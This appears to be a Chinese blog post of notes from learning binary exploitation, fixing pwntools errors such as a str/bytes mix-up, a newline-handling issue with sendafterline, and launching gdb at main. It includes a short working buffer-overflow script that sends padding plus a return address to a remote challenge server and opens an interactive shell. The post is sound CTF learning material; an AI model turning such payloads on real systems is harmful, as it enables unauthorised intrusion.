PWN学习过程中一些小问题的解决方法
- 一、使用python运行py文件,第一行的from pwn import *报错
File "woof.py", line 1, in <module>
from pwn import *
ImportError: No module named pwn
因为使用的是python3安装的pwn,使用Python的话默认使用的是python2,可以直接在终端中输入python查看自己使用的版本。
- 二、使用python3运行脚本:
from pwn import *
r=remote("120.46.59.242", 2139)
payload='A'*13+p32(0x0804859b)
r.sendline(payload)
r.interactive()
报错:
File "/home/exfeitu/desktop/woof.py", line 3, in <module>
payload=str('A'*13+p32(0x0804859b))
TypeError: can only concatenate str (not "bytes") to str
无法进行字符串转换之类的,是由于python2和与python3的版本特性,需要手动转换。
参考python 报错TypeError: can only concatenate str (not "bytes") to str
和can only concatenate str (not "bytes") to str,使用str()和bytes()强制进行转换。
原本是将脚本第三行改成
payload='A'*13+str(p32(0x0804859))
但是连接后缓冲区溢出并没有成功,需要使用bytes类型的数据作为payload,所以将'A'13这部分改成bytes('A'13),又报错:
TypeError: string argument without an encoding
需要加上encode('ascii')才行,最后的py文件:
from pwn import *
r=remote("120.46.59.242", 2142)
payload=bytes(('A'*13).encode('ascii'))+p32(0x0804859b)
r.sendline(payload)
r.interactive()
可以连接后ls显示文件
关于encode和str的用法参考:
Python3_字符编码Encoding:ASCII,Unicode,UTF-8和pwntools:类型转换
改正:只需要在'A'前面加上b就行了,payload = b'a'*13 + p32(0x0804859b)
-
三、关于ida反汇编出来的puts()中的\n和sendafterline
在跟着ret2libc教程做时,由于之前使用python脚本时都使用sendafterline都没有在接收的内容后面加上\n也能正常运行,但是这次遇到了不行,不加\n的话实际就会有收到\n前就send内容出去,而且最后的\n会被接收到下一个recvline中,导致我的r.recvline()接收到的内容只有一个'\n'在里面。后面解析时出现错误。 -
四、 使用python脚本直接在pwndbg时在main处下断点
使用p = gdb.debug('./heap_Double_Free', "b main")即可直接在启动程序时进入gdb
浙公网安备 33010602011771号